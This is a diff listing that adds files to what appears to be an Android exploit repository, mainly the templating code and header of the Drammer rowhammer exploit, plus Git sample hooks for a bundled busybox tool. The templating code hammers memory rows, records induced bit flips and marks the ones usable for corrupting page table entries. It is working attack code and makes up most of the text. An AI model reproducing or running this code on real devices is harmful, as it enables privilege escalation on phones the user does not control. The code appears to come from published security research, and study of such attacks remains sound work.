| 136 | + tmpl->xorred_byte = tmpl->org_byte ^ tmpl->new_byte; | ||
| 137 | + tmpl->xorred_word = tmpl->org_word ^ tmpl->new_word; | ||
| 138 | + tmpl->bits_set = __builtin_popcount(tmpl->xorred_word); | ||
| 139 | + | ||
| 140 | + tmpl->byte_index_in_row = index_in_row; | ||
| 141 | + tmpl->byte_index_in_page = index_in_row % PAGESIZE; | ||
| 142 | + tmpl->word_index_in_page = tmpl->byte_index_in_page / 4; | ||
| 143 | + tmpl->word_index_in_pt = tmpl->word_index_in_page - 512; | ||
| 144 | + tmpl->bit_index_in_word = ffs(tmpl->xorred_word) - 1; | ||
| 145 | + | ||
| 146 | + tmpl->org_bit = (tmpl->org_word & tmpl->xorred_word) >> tmpl->bit_index_in_word; | ||
| 147 | + tmpl->direction = tmpl->org_bit ? ONE_TO_ZERO : ZERO_TO_ONE; | ||
| 148 | + | ||
| 149 | + tmpl->ion_chunk = chunk; | ||
| 150 | + tmpl->ion_len = chunk->len; | ||
| 151 | + | ||
| 152 | + tmpl->rel_address = (uintptr_t) tmpl->virt_addr - (uintptr_t) tmpl->ion_chunk->mapping; | ||
| 153 | + tmpl->rel_row_index = tmpl->rel_address / rowsize; | ||
| 154 | + tmpl->rel_pfn = tmpl->rel_address / PAGESIZE; | ||
| 155 | + | ||
| 156 | + tmpl->target_pfn = tmpl->rel_pfn; | ||
| 157 | + tmpl->source_pfn = tmpl->target_pfn ^ (1 << (tmpl->bit_index_in_word - 12)); | ||
| 158 | + tmpl->target_pfn_row = tmpl->target_pfn / PAGES_PER_ROW; | ||
| 159 | + tmpl->source_pfn_row = tmpl->source_pfn / PAGES_PER_ROW; | ||
| 160 | + tmpl->target_pte = tmpl->target_pfn << 12; | ||
| 161 | + tmpl->source_pte = tmpl->source_pfn << 12; | ||
| 162 | + tmpl->target_page_index_in_row = tmpl->target_pfn - (tmpl->target_pfn_row * PAGES_PER_ROW); | ||
| 163 | + tmpl->source_page_index_in_row = tmpl->source_pfn - (tmpl->source_pfn_row * PAGES_PER_ROW); | ||
| 164 | + | ||
| 165 | + tmpl->target_16k_pfn = tmpl->target_pfn / 4; | ||
| 166 | + tmpl->source_16k_pfn = tmpl->source_pfn / 4; | ||
| 167 | + tmpl->found_at = time(NULL); | ||
| 168 | + | ||
| 169 | + | ||
| 170 | + print("[FLIP] i:%p l:%d v:%p p:%p b:%5d 0x%08x != 0x%08x s:%d", | ||
| 171 | + tmpl->ion_chunk->mapping, | ||
| 172 | + tmpl->ion_len, | ||
| 173 | + (void *) tmpl->virt_addr, | ||
| 174 | + (void *) tmpl->phys_addr, | ||
| 175 | + tmpl->byte_index_in_row, | ||
| 176 | + tmpl->org_word, | ||
| 177 | + tmpl->new_word, | ||
| 178 | + tmpl->found_at); | ||
| 179 | + printf("\n"); | ||
| 180 | + | ||
| 181 | + tmpl->maybe_exploitable = is_exploitable(tmpl); | ||
| 182 | + if (global_of) { | ||
| 183 | + if (tmpl->maybe_exploitable) fprintf(global_of, "!\n"); | ||
| 184 | + else fprintf(global_of,"\n"); | ||
| 185 | + } | ||
| 186 | + | ||
| 187 | + templates.push_back(tmpl); | ||
| 188 | + | ||
| 189 | + | ||
| 190 | +} | ||
| 191 | + | ||
| 192 | +int get_exploitable_flip_count(std::vector<struct template_t *> &templates) { | ||
| 193 | + int count = 0; | ||
| 194 | + for (auto tmpl : templates) { | ||
| 195 | + if (tmpl->maybe_exploitable) count++; | ||
| 196 | + } | ||
| 197 | + return count; | ||
| 198 | +} | ||
| 199 | +int get_direction_flip_count(std::vector<struct template_t *> &templates, int direction) { | ||
| 200 | + int count = 0; | ||
| 201 | + for (auto tmpl : templates) { | ||
| 202 | + if (tmpl->direction == direction) count++; | ||
| 203 | + } | ||
| 204 | + return count; | ||
| 205 | +} | ||
| 206 | +struct template_t * get_first_exploitable_flip(std::vector<struct template_t *> &templates) { | ||
| 207 | + for (auto tmpl : templates) { | ||
| 208 | + if (tmpl->maybe_exploitable) return tmpl; | ||
| 209 | + } | ||
| 210 | + return NULL; | ||
| 211 | +} | ||
| 212 | + | ||
| 213 | +int find_flips_in_row(std::vector<struct template_t *> &templates, uintptr_t phys1) { | ||
| 214 | + int flips = 0; | ||
| 215 | + for (auto tmpl : templates) { | ||
| 216 | + if (tmpl->phys_addr >= phys1 && tmpl->phys_addr < (phys1 + rowsize)) flips++; | ||
| 217 | + } | ||
| 218 | + return flips; | ||
| 219 | +} | ||
| 220 | + | ||
| 221 | +int do_hammer(uint8_t *virt_row, | ||
| 222 | + volatile uintptr_t *virt_above, | ||
| 223 | + volatile uintptr_t *virt_below, | ||
| 224 | + uint8_t *pattern_above, | ||
| 225 | + uint8_t *pattern, | ||
| 226 | + uint8_t *pattern_below, | ||
| 227 | + std::vector<struct template_t *> &templates, struct ion_data *chunk, | ||
| 228 | + int hammer_readcount) { | ||
| 229 | + | ||
| 230 | + int new_flips = 0; | ||
| 231 | + | ||
| 232 | + /* write pattern to victim row */ | ||
| 233 | + memcpy(virt_row, pattern, rowsize); | ||
| 234 | + | ||
| 235 | + /* hammer */ | ||
| 236 | + uint64_t t1 = get_ns(); | ||
| 237 | + for (int i = 0; i < hammer_readcount; i++) { | ||
| 238 | + *virt_above; | ||
| 239 | + *virt_below; | ||
| 240 | + } | ||
| 241 | + uint64_t t2 = get_ns(); | ||
| 242 | + int ns_per_read = (t2 - t1) / (hammer_readcount * 2); | ||
| 243 | + | ||
| 244 | + uint8_t *row_above = (uint8_t *) ((uintptr_t) virt_row - rowsize); | ||
| 245 | + uint8_t *row_below = (uint8_t *) ((uintptr_t) virt_row + rowsize); | ||
| 246 | + | ||
| 247 | + /* compare bytes of the victim row again the original pattern */ | ||
| 248 | + for (int i = 0; i < rowsize; i++) { | ||
| 249 | + if (virt_row[i] != pattern[i] ) { | ||
| 250 | + if (template_exists(templates, (uintptr_t) virt_row + i, pattern[i], virt_row[i])) continue; | ||
| 251 | + | ||
| 252 | + new_flips++; | ||
| 253 | + if (new_flips == 1) printf("\n"); | ||
| 254 | + | ||
| 255 | + handle_flip(virt_row, | ||
| 256 | + (uintptr_t *) virt_above, | ||
| 257 | + (uintptr_t *) virt_below, | ||
| 258 | + pattern, templates, i, chunk); | ||
| 259 | + } | ||
| 260 | + | ||
| 261 | + if (row_above[i] != pattern_above[i] ) { | ||
| 262 | + spc_flips++; | ||
| 263 | + new_flips++; | ||
| 264 | + if (new_flips == 1) printf("\n"); | ||
| 265 | + print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_above + i, virt_above[i], pattern_above[i]); | ||
| 266 | + } | ||
| 267 | + if (row_below[i] != pattern_below[i]) { | ||
| 268 | + spc_flips++; | ||
| 269 | + new_flips++; | ||
| 270 | + if (new_flips == 1) printf("\n"); | ||
| 271 | + print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_below + i, virt_below[i], pattern_below[i]); | ||
| 272 | + } | ||
| 273 | + } | ||
| 274 | + if (new_flips > 0) | ||
| 275 | + printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row / rowsize); | ||
| 276 | + | ||
| 277 | + return ns_per_read; | ||
| 278 | +} | ||
| 279 | + | ||
| 280 | +bool times_up; | ||
| 281 | +void alarm_handler(int signal) { | ||
| 282 | + printf("\n[TIME] is up, wrapping up\n"); | ||
| 283 | + times_up = true; | ||
| 284 | +} | ||
| 285 | + | ||
| 286 | +/* Perform 'conservative' rowhammer: we hammer each page in a row. The figure | ||
| 287 | + * below - row size of 32K = 8 pages - illustrates a victim row (pages P1 .. P8) | ||
| 288 | + * and its two aggressor rows (above, pages A1 .. A8, and below, pages B1 .. | ||
| 289 | + * B8). We write patterns to the entire rows (using <*_row>) and then | ||
| 290 | + * hammer pages by reading from <virt_above> and <virt_below>. | ||
| 291 | + * | ||
| 292 | + * /-- <above_row> | ||
| 293 | + * | /-- <virt_above> | ||
| 294 | + * | ----------+------------------------------ | ||
| 295 | + * \--->| A1 | A2 | A3 | A4 | A5 | A6 | A7 | A8 | | ||
| 296 | + * ----------------------------------------- | ||
| 297 | + * /--->| P1 | P2 | P3 | P4 | P5 | P6 | P7 | P8 |<-- victim row | ||
| 298 | + * | ----------------------------------------- | ||
| 299 | + * | /->| B1 | B2 | B3 | B4 | B5 | B6 | B7 | B8 | | ||
| 300 | + * | | ----------+------------------------------ | ||
| 301 | + * | | \-- <virt_below> | ||
| 302 | + * | \-- <below_row> | ||
| 303 | + * \-- <virt_row> | ||
| 304 | + */ | ||
| 305 | +void TMPL_run(std::vector<struct ion_data *> &chunks, | ||
| 306 | + std::vector<struct template_t *> &templates, | ||
| 307 | + std::vector<struct pattern_t *> &patterns, int timer, int hammer_readcount, | ||
| 308 | + bool do_conservative) { | ||
| 309 | + | ||
| 310 | + int bytes_hammered = 0; | ||
| 311 | + std::vector<uint64_t> readtimes; | ||
| 312 | + | ||
| 313 | + if (timer) { | ||
| 314 | + printf("[TMPL] Setting alarm in %d seconds\n", timer); | ||
| 315 | + signal(SIGALRM, alarm_handler); | ||
| 316 | + alarm(timer); | ||
| 317 | + } | ||
| 318 | + times_up = false; | ||
| 319 | + | ||
| 320 | + int bytes_allocated = 0; | ||
| 321 | + for (auto chunk : chunks) { | ||
| 322 | + bytes_allocated += chunk->len; | ||
| 323 | + } | ||
| 324 | + | ||
| 325 | + time_t start_time = time(NULL); | ||
| 326 | + print("[TMPL] - Bytes allocated: %d (%d MB)\n", bytes_allocated, bytes_allocated / 1024 / 1024); | ||
| 327 | + print("[TMPL] - Time: %d\n", start_time); | ||
| 328 | + print("[TMPL] - Start templating\n"); | ||
| 329 | + for (auto chunk : chunks) { | ||
| 330 | + ION_get_hammerable_rows(chunk); | ||
| 331 | + | ||
| 332 | + for (auto virt_row : chunk->hammerable_rows) { | ||
| 333 | + uintptr_t phys_row = get_phys_addr(virt_row); | ||
| 334 | + int virt_row_index = virt_row / rowsize; | ||
| 335 | + int phys_row_index = phys_row / rowsize; | ||
| 336 | + | ||
| 337 | + int median_readtime = compute_median(readtimes); | ||
| 338 | + int seconds_passed = time(NULL) - start_time; | ||
| 339 | + int flips = templates.size(); | ||
| 340 | + int exploitable_flips = get_exploitable_flip_count(templates); | ||
| 341 | + double kb_per_flip, percentage_exploitable; | ||
| 342 | + int to0, to1; | ||
| 343 | + if (flips > 0) { | ||
| 344 | + kb_per_flip = (bytes_hammered / 1024) / (double) flips; | ||
| 345 | + percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0; | ||
| 346 | + to0 = get_direction_flip_count(templates, ONE_TO_ZERO); | ||
| 347 | + to1 = get_direction_flip_count(templates, ZERO_TO_ONE); | ||
| 348 | + } else { | ||
| 349 | + kb_per_flip = 0.0; | ||
| 350 | + percentage_exploitable = 0.0; | ||
| 351 | + to0 = 0; | ||
| 352 | + to1 = 0; | ||
| 353 | + } | ||
| 354 | + | ||
| 355 | + print("[TMPL - status] flips: %d | expl: %d | hammered: %d | runtime: %d | median: %d | kb_per_flip: %5.2f | perc_expl: %5.2f | special: %d | 0-to-1: %d | 1-to-0: %d\n", | ||
| 356 | + flips, exploitable_flips, bytes_hammered, seconds_passed, median_readtime, kb_per_flip, percentage_exploitable, spc_flips, to1, to0); | ||
| 357 | + print("[TMPL - hammer] virtual row %d: %p | physical row %d: %p\n", | ||
| 358 | + virt_row_index, virt_row, phys_row_index, phys_row); | ||
| 359 | + printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row_index); | ||
| 360 | + | ||
| 361 | + | ||
| 362 | + uintptr_t above_row = virt_row - rowsize; | ||
| 363 | + uintptr_t below_row = virt_row + rowsize; | ||
| 364 | + | ||
| 365 | + int step = PAGESIZE; | ||
| 366 | + if (do_conservative) | ||
| 367 | + step = 64; | ||
| 368 | + | ||
| 369 | + for (int offset = 0; offset < rowsize; offset += step) { | ||
| 370 | + uintptr_t virt_above = above_row + offset; | ||
| 371 | + uintptr_t virt_below = below_row + offset; | ||
| 372 | + | ||
| 373 | + printf("|"); | ||
| 374 | + for (auto pattern: patterns) { | ||
| 375 | + | ||
| 376 | + /* write patterns to the adjacent rows and hammer */ | ||
| 377 | + memcpy((void *) above_row, pattern->above, rowsize); | ||
| 378 | + memcpy((void *) below_row, pattern->below, rowsize); | ||
| 379 | + int delta = do_hammer( (uint8_t *) virt_row, | ||
| 380 | + (volatile uintptr_t *) virt_above, | ||
| 381 | + (volatile uintptr_t *) virt_below, | ||
| 382 | + pattern->above, pattern->victim, pattern->below, templates, chunk, hammer_readcount); | ||
| 383 | + readtimes.push_back(delta); | ||
| 384 | + printf("%d|", delta); | ||
| 385 | + | ||
| 386 | + pattern->cur_use++; | ||
| 387 | + if (pattern->max_use && pattern->cur_use >= pattern->max_use) { | ||
| 388 | + if (pattern->reset_above) pattern->reset_above (pattern->above); | ||
| 389 | + if (pattern->reset_victim) pattern->reset_victim(pattern->victim); | ||
| 390 | + if (pattern->reset_below) pattern->reset_below (pattern->below); | ||
| 391 | + pattern->cur_use = 0; | ||
| 392 | + } | ||
| 393 | + } | ||
| 394 | + printf(" "); | ||
| 395 | + | ||
| 396 | + bytes_hammered += step; | ||
| 397 | + | ||
| 398 | + if (times_up) break; | ||
| 399 | + } | ||
| 400 | + printf("\n"); | ||
| 401 | + | ||
| 402 | + if (times_up) break; | ||
| 403 | + } | ||
| 404 | + | ||
| 405 | + if (times_up) break; | ||
| 406 | + | ||
| 407 | + /* clean */ | ||
| 408 | + ION_clean(chunk); | ||
| 409 | + } | ||
| 410 | + | ||
| 411 | + int median_readtime = compute_median(readtimes); | ||
| 412 | + | ||
| 413 | + printf("\n[TMPL] Done templating\n"); | ||
| 414 | + int flips = templates.size(); | ||
| 415 | + print("[TMPL] - bytes hammered: %d (%d MB)\n", bytes_hammered, bytes_hammered / 1024 / 1024); | ||
| 416 | + print("[TMPL] - median readtime: %d\n", median_readtime); | ||
| 417 | + print("[TMPL] - unique flips: %d (1-to-0: %d / 0-to-1: %d)\n", flips, | ||
| 418 | + get_direction_flip_count(templates, ONE_TO_ZERO), | ||
| 419 | + get_direction_flip_count(templates, ZERO_TO_ONE)); | ||
| 420 | + | ||
| 421 | + if (flips > 0) { | ||
| 422 | + double kb_per_flip = (bytes_hammered / 1024) / (double) flips; | ||
| 423 | + printf("[TMPL] - kb per flip: %5.2f\n", kb_per_flip); | ||
| 424 | + } | ||
| 425 | + int exploitable_flips = get_exploitable_flip_count(templates); | ||
| 426 | + print("[TMPL] - exploitable flips: %d\n", exploitable_flips); | ||
| 427 | + if (exploitable_flips > 0) { | ||
| 428 | + print("[TMPL] - first exploitable flip found after: %d seconds\n", get_first_exploitable_flip(templates)->found_at - start_time); | ||
| 429 | + | ||
| 430 | + double percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0; | ||
| 431 | + printf("[TMPL] - percentage of flips that are exploitable: %5.2f\n", percentage_exploitable); | ||
| 432 | + } | ||
| 433 | + print("[TMPL] - time spent: %d seconds\n", time(NULL) - start_time); | ||
| 434 | +} | ||
| 435 | + |
exploits/drammer/templating.h
0 → 100644
| 1 | +++ a/exploits/drammer/templating.h | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | +#ifndef __TEMPLATING_H__ | ||
| 18 | +#define __TEMPLATING_H__ | ||
| 19 | + | ||
| 20 | +#include <vector> | ||
| 21 | + | ||
| 22 | +#include "ion.h" | ||
| 23 | + | ||
| 24 | +#define ONE_TO_ZERO 1 | ||
| 25 | +#define ZERO_TO_ONE 0 | ||
| 26 | + | ||
| 27 | +#define FLIP_DIRECTION_STR(x) (((x) == ONE_TO_ZERO) ? "1-to-0" : "0-to-1") | ||
| 28 | + | ||
| 29 | +struct template_t { | ||
| 30 | + uintptr_t virt_page; // virtual address of the vulnerable page | ||
| 31 | + uintptr_t virt_addr; // virutal address of the vulnerable byte | ||
| 32 | + uintptr_t virt_row; | ||
| 33 | + uintptr_t phys_addr; | ||
| 34 | + uintptr_t phys_page; | ||
| 35 | + int virt_index; | ||
| 36 | + uint8_t org_byte; // the original value of the vulnerable byte | ||
| 37 | + uint32_t org_word; | ||
| 38 | + uint8_t new_byte; // the new value | ||
| 39 | + uint32_t new_word; | ||
| 40 | + struct ion_data *ion_chunk; | ||
| 41 | + int ion_len; | ||
| 42 | + | ||
| 43 | + uint8_t xorred_byte; | ||
| 44 | + uint32_t xorred_word; | ||
| 45 | + int bits_set; | ||
| 46 | + int bit_offset; | ||
| 47 | + int org_bit; | ||
| 48 | + int direction; | ||
| 49 | + bool maybe_exploitable; | ||
| 50 | + bool likely_exploitable; | ||
| 51 | + int rel_pfn; | ||
| 52 | + int rel_address; | ||
| 53 | + int rel_row_index; | ||
| 54 | + uint32_t source_pte; | ||
| 55 | + uint32_t target_pte; | ||
| 56 | + uint32_t target_16k_pfn; | ||
| 57 | + uint32_t source_16k_pfn; | ||
| 58 | + uint32_t source_pfn, target_pfn; | ||
| 59 | + uint32_t source_page_index_in_row, target_page_index_in_row; | ||
| 60 | + uint32_t source_pfn_row, target_pfn_row; | ||
| 61 | + int byte_index_in_row; | ||
| 62 | + int byte_index_in_page; | ||
| 63 | + int word_index_in_page; | ||
| 64 | + int word_index_in_pt; | ||
| 65 | + int bit_index_in_word; | ||
| 66 | + int bit_index_in_byte; | ||
| 67 | + uintptr_t virt_above; | ||
| 68 | + uintptr_t virt_below; | ||
| 69 | + bool confirmed; | ||
| 70 | + time_t found_at; | ||
| 71 | +}; | ||
| 72 | + | ||
| 73 | +struct pattern_t { | ||
| 74 | + uint8_t *above; | ||
| 75 | + uint8_t *victim; | ||
| 76 | + uint8_t *below; | ||
| 77 | + int cur_use; | ||
| 78 | + int max_use; | ||
| 79 | + void (*reset_above) (uint8_t *); | ||
| 80 | + void (*reset_victim)(uint8_t *); | ||
| 81 | + void (*reset_below) (uint8_t *); | ||
| 82 | +}; | ||
| 83 | + | ||
| 84 | + | ||
| 85 | + | ||
| 86 | +struct template_t *templating(void); | ||
| 87 | +void TMPL_run(std::vector<struct ion_data *> &chunks, | ||
| 88 | + std::vector<struct template_t *> &templates, | ||
| 89 | + std::vector<struct pattern_t *> &patterns, int timer, int hammer_readcount, | ||
| 90 | + bool do_conservative); | ||
| 91 | +struct template_t *find_template_in_rows(std::vector<struct ion_data *> &chunks, struct template_t *needle); | ||
| 92 | + | ||
| 93 | +#endif // __TEMPLATING_H__ |
exploits/exploit_list
0 → 100644
exploits/urls
0 → 100644
tools/busybox-android/.git-disabled/HEAD
0 → 100644
tools/busybox-android/.git-disabled/config
0 → 100644
| 1 | +++ a/tools/busybox-android/.git-disabled/config | ||
| 1 | +[core] | ||
| 2 | + repositoryformatversion = 0 | ||
| 3 | + filemode = true | ||
| 4 | + bare = false | ||
| 5 | + logallrefupdates = true | ||
| 6 | +[remote "origin"] | ||
| 7 | + url = https://github.com/Gnurou/busybox-android.git | ||
| 8 | + fetch = +refs/heads/*:refs/remotes/origin/* | ||
| 9 | +[branch "master"] | ||
| 10 | + remote = origin | ||
| 11 | + merge = refs/heads/master |
tools/busybox-android/.git-disabled/description
0 → 100644
tools/busybox-android/.git-disabled/hooks/applypatch-msg.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/applypatch-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to check the commit log message taken by | ||
| 4 | +# applypatch from an e-mail message. | ||
| 5 | +# | ||
| 6 | +# The hook should exit with non-zero status after issuing an | ||
| 7 | +# appropriate message if it wants to stop the commit. The hook is | ||
| 8 | +# allowed to edit the commit message file. | ||
| 9 | +# | ||
| 10 | +# To enable this hook, rename this file to "applypatch-msg". | ||
| 11 | + | ||
| 12 | +. git-sh-setup | ||
| 13 | +commitmsg="$(git rev-parse --git-path hooks/commit-msg)" | ||
| 14 | +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} | ||
| 15 | +: |
tools/busybox-android/.git-disabled/hooks/commit-msg.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/commit-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to check the commit log message. | ||
| 4 | +# Called by "git commit" with one argument, the name of the file | ||
| 5 | +# that has the commit message. The hook should exit with non-zero | ||
| 6 | +# status after issuing an appropriate message if it wants to stop the | ||
| 7 | +# commit. The hook is allowed to edit the commit message file. | ||
| 8 | +# | ||
| 9 | +# To enable this hook, rename this file to "commit-msg". | ||
| 10 | + | ||
| 11 | +# Uncomment the below to add a Signed-off-by line to the message. | ||
| 12 | +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg | ||
| 13 | +# hook is more suited to it. | ||
| 14 | +# | ||
| 15 | +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') | ||
| 16 | +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" | ||
| 17 | + | ||
| 18 | +# This example catches duplicate Signed-off-by lines. | ||
| 19 | + | ||
| 20 | +test "" = "$(grep '^Signed-off-by: ' "$1" | | ||
| 21 | + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { | ||
| 22 | + echo >&2 Duplicate Signed-off-by lines. | ||
| 23 | + exit 1 | ||
| 24 | +} |
tools/busybox-android/.git-disabled/hooks/post-update.sample
0 → 100755
tools/busybox-android/.git-disabled/hooks/pre-applypatch.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/pre-applypatch.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to verify what is about to be committed | ||
| 4 | +# by applypatch from an e-mail message. | ||
| 5 | +# | ||
| 6 | +# The hook should exit with non-zero status after issuing an | ||
| 7 | +# appropriate message if it wants to stop the commit. | ||
| 8 | +# | ||
| 9 | +# To enable this hook, rename this file to "pre-applypatch". | ||
| 10 | + | ||
| 11 | +. git-sh-setup | ||
| 12 | +precommit="$(git rev-parse --git-path hooks/pre-commit)" | ||
| 13 | +test -x "$precommit" && exec "$precommit" ${1+"$@"} | ||
| 14 | +: |
tools/busybox-android/.git-disabled/hooks/pre-commit.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/pre-commit.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to verify what is about to be committed. | ||
| 4 | +# Called by "git commit" with no arguments. The hook should | ||
| 5 | +# exit with non-zero status after issuing an appropriate message if | ||
| 6 | +# it wants to stop the commit. | ||
| 7 | +# | ||
| 8 | +# To enable this hook, rename this file to "pre-commit". | ||
| 9 | + | ||
| 10 | +if git rev-parse --verify HEAD >/dev/null 2>&1 | ||
| 11 | +then | ||
| 12 | + against=HEAD | ||
| 13 | +else | ||
| 14 | + # Initial commit: diff against an empty tree object | ||
| 15 | + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904 | ||
| 16 | +fi | ||
| 17 | + | ||
| 18 | +# If you want to allow non-ASCII filenames set this variable to true. | ||
| 19 | +allownonascii=$(git config --bool hooks.allownonascii) | ||
| 20 | + | ||
| 21 | +# Redirect output to stderr. | ||
| 22 | +exec 1>&2 | ||
| 23 | + | ||
| 24 | +# Cross platform projects tend to avoid non-ASCII filenames; prevent | ||
| 25 | +# them from being added to the repository. We exploit the fact that the | ||
| 26 | +# printable range starts at the space character and ends with tilde. | ||
| 27 | +if [ "$allownonascii" != "true" ] && | ||
| 28 | + # Note that the use of brackets around a tr range is ok here, (it's | ||
| 29 | + # even required, for portability to Solaris 10's /usr/bin/tr), since | ||
| 30 | + # the square bracket bytes happen to fall in the designated range. | ||
| 31 | + test $(git diff --cached --name-only --diff-filter=A -z $against | | ||
| 32 | + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 | ||
| 33 | +then | ||
| 34 | + cat <<\EOF | ||
| 35 | +Error: Attempt to add a non-ASCII file name. | ||
| 36 | + | ||
| 37 | +This can cause problems if you want to work with people on other platforms. | ||
| 38 | + | ||
| 39 | +To be portable it is advisable to rename the file. | ||
| 40 | + | ||
| 41 | +If you know what you are doing you can disable this check using: | ||
| 42 | + | ||
| 43 | + git config hooks.allownonascii true | ||
| 44 | +EOF | ||
| 45 | + exit 1 | ||
| 46 | +fi | ||
| 47 | + | ||
| 48 | +# If there are whitespace errors, print the offending file names and fail. | ||
| 49 | +exec git diff-index --check --cached $against -- |
tools/busybox-android/.git-disabled/hooks/pre-push.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/pre-push.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | + | ||
| 3 | +# An example hook script to verify what is about to be pushed. Called by "git | ||
| 4 | +# push" after it has checked the remote status, but before anything has been | ||
| 5 | +# pushed. If this script exits with a non-zero status nothing will be pushed. | ||
| 6 | +# | ||
| 7 | +# This hook is called with the following parameters: | ||
| 8 | +# | ||
| 9 | +# $1 -- Name of the remote to which the push is being done | ||
| 10 | +# $2 -- URL to which the push is being done | ||
| 11 | +# | ||
| 12 | +# If pushing without using a named remote those arguments will be equal. | ||
| 13 | +# | ||
| 14 | +# Information about the commits which are being pushed is supplied as lines to | ||
| 15 | +# the standard input in the form: | ||
| 16 | +# | ||
| 17 | +# <local ref> <local sha1> <remote ref> <remote sha1> | ||
| 18 | +# | ||
| 19 | +# This sample shows how to prevent push of commits where the log message starts | ||
| 20 | +# with "WIP" (work in progress). | ||
| 21 | + | ||
| 22 | +remote="$1" | ||
| 23 | +url="$2" | ||
| 24 | + | ||
| 25 | +z40=0000000000000000000000000000000000000000 | ||
| 26 | + | ||
| 27 | +while read local_ref local_sha remote_ref remote_sha | ||
| 28 | +do | ||
| 29 | + if [ "$local_sha" = $z40 ] | ||
| 30 | + then | ||
| 31 | + # Handle delete | ||
| 32 | + : | ||
| 33 | + else | ||
| 34 | + if [ "$remote_sha" = $z40 ] | ||
| 35 | + then | ||
| 36 | + # New branch, examine all commits | ||
| 37 | + range="$local_sha" | ||
| 38 | + else | ||
| 39 | + # Update to existing branch, examine new commits | ||
| 40 | + range="$remote_sha..$local_sha" | ||
| 41 | + fi | ||
| 42 | + | ||
| 43 | + # Check for WIP commit | ||
| 44 | + commit=`git rev-list -n 1 --grep '^WIP' "$range"` | ||
| 45 | + if [ -n "$commit" ] | ||
| 46 | + then | ||
| 47 | + echo >&2 "Found WIP commit in $local_ref, not pushing" | ||
| 48 | + exit 1 | ||
| 49 | + fi | ||
| 50 | + fi | ||
| 51 | +done | ||
| 52 | + | ||
| 53 | +exit 0 |
tools/busybox-android/.git-disabled/hooks/pre-rebase.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/pre-rebase.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# Copyright (c) 2006, 2008 Junio C Hamano | ||
| 4 | +# | ||
| 5 | +# The "pre-rebase" hook is run just before "git rebase" starts doing | ||
| 6 | +# its job, and can prevent the command from running by exiting with | ||
| 7 | +# non-zero status. | ||
| 8 | +# | ||
| 9 | +# The hook is called with the following parameters: | ||
| 10 | +# | ||
| 11 | +# $1 -- the upstream the series was forked from. | ||
| 12 | +# $2 -- the branch being rebased (or empty when rebasing the current branch). | ||
| 13 | +# | ||
| 14 | +# This sample shows how to prevent topic branches that are already | ||
| 15 | +# merged to 'next' branch from getting rebased, because allowing it | ||
| 16 | +# would result in rebasing already published history. | ||
| 17 | + | ||
| 18 | +publish=next | ||
| 19 | +basebranch="$1" | ||
| 20 | +if test "$#" = 2 | ||
| 21 | +then | ||
| 22 | + topic="refs/heads/$2" | ||
| 23 | +else | ||
| 24 | + topic=`git symbolic-ref HEAD` || | ||
| 25 | + exit 0 ;# we do not interrupt rebasing detached HEAD | ||
| 26 | +fi | ||
| 27 | + | ||
| 28 | +case "$topic" in | ||
| 29 | +refs/heads/??/*) | ||
| 30 | + ;; | ||
| 31 | +*) | ||
| 32 | + exit 0 ;# we do not interrupt others. | ||
| 33 | + ;; | ||
| 34 | +esac | ||
| 35 | + | ||
| 36 | +# Now we are dealing with a topic branch being rebased | ||
| 37 | +# on top of master. Is it OK to rebase it? | ||
| 38 | + | ||
| 39 | +# Does the topic really exist? | ||
| 40 | +git show-ref -q "$topic" || { | ||
| 41 | + echo >&2 "No such branch $topic" | ||
| 42 | + exit 1 | ||
| 43 | +} | ||
| 44 | + | ||
| 45 | +# Is topic fully merged to master? | ||
| 46 | +not_in_master=`git rev-list --pretty=oneline ^master "$topic"` | ||
| 47 | +if test -z "$not_in_master" | ||
| 48 | +then | ||
| 49 | + echo >&2 "$topic is fully merged to master; better remove it." | ||
| 50 | + exit 1 ;# we could allow it, but there is no point. | ||
| 51 | +fi | ||
| 52 | + | ||
| 53 | +# Is topic ever merged to next? If so you should not be rebasing it. | ||
| 54 | +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` | ||
| 55 | +only_next_2=`git rev-list ^master ${publish} | sort` | ||
| 56 | +if test "$only_next_1" = "$only_next_2" | ||
| 57 | +then | ||
